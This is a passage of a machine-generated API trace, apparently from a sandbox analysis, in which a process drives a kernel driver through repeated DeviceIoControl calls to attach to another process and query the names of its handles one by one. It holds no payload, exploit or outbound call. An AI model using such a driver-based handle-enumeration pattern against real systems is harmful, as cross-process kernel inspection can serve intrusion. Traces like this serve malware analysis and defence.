Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.420] ObfDereferenceObject (Object=0xfffff8a0089fcde0) returned 0x2 [0136.420] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.420] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.420] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.420] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x28, lpOverlapped=0x0) returned 1 [0136.420] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.420] PsAcquireProcessExitSynchronization () returned 0x0 [0136.420] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0) [0136.420] ObReferenceObjectByHandle (in: Handle=0x88, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089f6320, HandleInformation=0x0) returned 0x0 [0136.420] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.420] PsReleaseProcessExitSynchronization () returned 0x2 [0136.420] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0136.420] ObQueryNameString (in: Object=0xfffff8a0089f6320, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.420] ObfDereferenceObject (Object=0xfffff8a0089f6320) returned 0x2 [0136.420] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.420] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.420] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.420] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0136.420] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.420] PsAcquireProcessExitSynchronization () returned 0x0 [0136.420] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0) [0136.420] ObReferenceObjectByHandle (in: Handle=0xa0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003086a20, HandleInformation=0x0) returned 0x0 [0136.420] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.420] PsReleaseProcessExitSynchronization () returned 0x2 [0136.420] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0136.421] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.421] ObfDereferenceObject (Object=0xfffffa8003086a20) returned 0x1 [0136.421] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.421] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.421] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.421] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0136.421] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.421] PsAcquireProcessExitSynchronization () returned 0x0 [0136.421] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0) [0136.421] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800302d280, HandleInformation=0x0) returned 0x0 [0136.421] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.421] PsReleaseProcessExitSynchronization () returned 0x2 [0136.421] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0136.421] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.421] ObfDereferenceObject (Object=0xfffffa800302d280) returned 0x1 [0136.421] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.421] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.421] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.421] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0136.421] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.421] PsAcquireProcessExitSynchronization () returned 0x0 [0136.421] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0) [0136.421] ObReferenceObjectByHandle (in: Handle=0x1b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001049560, HandleInformation=0x0) returned 0x0 [0136.421] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.421] PsReleaseProcessExitSynchronization () returned 0x2 [0136.421] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0136.421] ObQueryNameString (in: Object=0xfffff8a001049560, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0136.421] ObfDereferenceObject (Object=0xfffff8a001049560) returned 0x2 [0136.421] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.421] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.421] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.421] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0136.421] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.422] PsAcquireProcessExitSynchronization () returned 0x0 [0136.422] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0) [0136.422] ObReferenceObjectByHandle (in: Handle=0x2a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800302c5d0, HandleInformation=0x0) returned 0x0 [0136.422] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.422] PsReleaseProcessExitSynchronization () returned 0x2 [0136.422] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0136.422] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473508) returned 0x0 [0136.422] ObfDereferenceObject (Object=0xfffffa800302c5d0) returned 0x1 [0136.422] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.422] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.422] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.422] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0136.422] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.422] PsAcquireProcessExitSynchronization () returned 0x0 [0136.422] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0) [0136.422] ObReferenceObjectByHandle (in: Handle=0x354, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030a0820, HandleInformation=0x0) returned 0x0 [0136.422] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.422] PsReleaseProcessExitSynchronization () returned 0x2 [0136.422] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0136.422] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0136.422] ObfDereferenceObject (Object=0xfffffa80030a0820) returned 0x1 [0136.422] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.422] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.423] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.423] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0136.423] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.423] PsAcquireProcessExitSynchronization () returned 0x0 [0136.423] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0) [0136.423] ObReferenceObjectByHandle (in: Handle=0x358, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030a0bb0, HandleInformation=0x0) returned 0x0 [0136.423] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.423] PsReleaseProcessExitSynchronization () returned 0x2 [0136.423] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0136.423] ObQueryNameString (in: Object=0xfffffa80030a0bb0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.423] ObfDereferenceObject (Object=0xfffffa80030a0bb0) returned 0x1 [0136.423] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.423] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.423] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.423] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0136.424] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.424] PsAcquireProcessExitSynchronization () returned 0x0 [0136.424] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0) [0136.424] ObReferenceObjectByHandle (in: Handle=0x390, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800829a350, HandleInformation=0x0) returned 0x0 [0136.424] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.424] PsReleaseProcessExitSynchronization () returned 0x2 [0136.424] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0136.424] ObQueryNameString (in: Object=0xfffffa800829a350, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.424] ObfDereferenceObject (Object=0xfffffa800829a350) returned 0x1 [0136.424] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.424] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.424] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.424] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0136.424] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.424] PsAcquireProcessExitSynchronization () returned 0x0 [0136.424] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0) [0136.424] ObReferenceObjectByHandle (in: Handle=0x3c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80118c8540, HandleInformation=0x0) returned 0x0 [0136.424] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.424] PsReleaseProcessExitSynchronization () returned 0x2 [0136.424] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0136.424] ObQueryNameString (in: Object=0xfffffa80118c8540, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.424] ObfDereferenceObject (Object=0xfffffa80118c8540) returned 0x1 [0136.424] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.424] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.424] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.424] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0136.424] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.424] PsAcquireProcessExitSynchronization () returned 0x0 [0136.424] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0) [0136.424] ObReferenceObjectByHandle (in: Handle=0x3c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80118c82a0, HandleInformation=0x0) returned 0x0 [0136.424] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.424] PsReleaseProcessExitSynchronization () returned 0x2 [0136.424] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0136.425] ObQueryNameString (in: Object=0xfffffa80118c82a0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.425] ObfDereferenceObject (Object=0xfffffa80118c82a0) returned 0x2 [0136.425] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.425] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.425] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.425] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0136.425] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.425] PsAcquireProcessExitSynchronization () returned 0x0 [0136.425] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0) [0136.425] ObReferenceObjectByHandle (in: Handle=0x3c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800308f070, HandleInformation=0x0) returned 0x0 [0136.425] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.425] PsReleaseProcessExitSynchronization () returned 0x2 [0136.425] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0136.425] ObQueryNameString (in: Object=0xfffffa800308f070, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.425] ObfDereferenceObject (Object=0xfffffa800308f070) returned 0x1 [0136.425] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.425] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.425] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.425] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0136.425] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.425] PsAcquireProcessExitSynchronization () returned 0x0 [0136.425] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0) [0136.425] ObReferenceObjectByHandle (in: Handle=0x534, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800343ed10, HandleInformation=0x0) returned 0x0 [0136.425] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.425] PsReleaseProcessExitSynchronization () returned 0x2 [0136.425] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0136.425] ObQueryNameString (in: Object=0xfffffa800343ed10, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.425] ObfDereferenceObject (Object=0xfffffa800343ed10) returned 0x2 [0136.425] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.425] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.426] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.426] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.426] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.426] PsAcquireProcessExitSynchronization () returned 0x0 [0136.426] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0) [0136.426] ObReferenceObjectByHandle (in: Handle=0x5a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031f0a80, HandleInformation=0x0) returned 0x0 [0136.426] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.426] PsReleaseProcessExitSynchronization () returned 0x2 [0136.426] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0136.426] ObQueryNameString (in: Object=0xfffffa80031f0a80, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.426] ObfDereferenceObject (Object=0xfffffa80031f0a80) returned 0x1 [0136.426] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.426] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.426] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.426] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0136.426] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.426] PsAcquireProcessExitSynchronization () returned 0x0 [0136.426] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0) [0136.426] ObReferenceObjectByHandle (in: Handle=0x5b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031ee8f0, HandleInformation=0x0) returned 0x0 [0136.426] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.426] PsReleaseProcessExitSynchronization () returned 0x2 [0136.426] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0136.426] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.426] ObfDereferenceObject (Object=0xfffffa80031ee8f0) returned 0x1 [0136.426] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.426] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.426] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.426] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xb6, lpOverlapped=0x0) returned 1 [0136.426] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.426] PsAcquireProcessExitSynchronization () returned 0x0 [0136.426] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0) [0136.426] ObReferenceObjectByHandle (in: Handle=0x600, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8010dc5b80, HandleInformation=0x0) returned 0x0 [0136.427] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.427] PsReleaseProcessExitSynchronization () returned 0x2 [0136.427] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0136.427] ObQueryNameString (in: Object=0xfffffa8010dc5b80, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.427] ObfDereferenceObject (Object=0xfffffa8010dc5b80) returned 0x2 [0136.427] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.427] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.427] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.427] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0136.427] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.427] PsAcquireProcessExitSynchronization () returned 0x0 [0136.427] 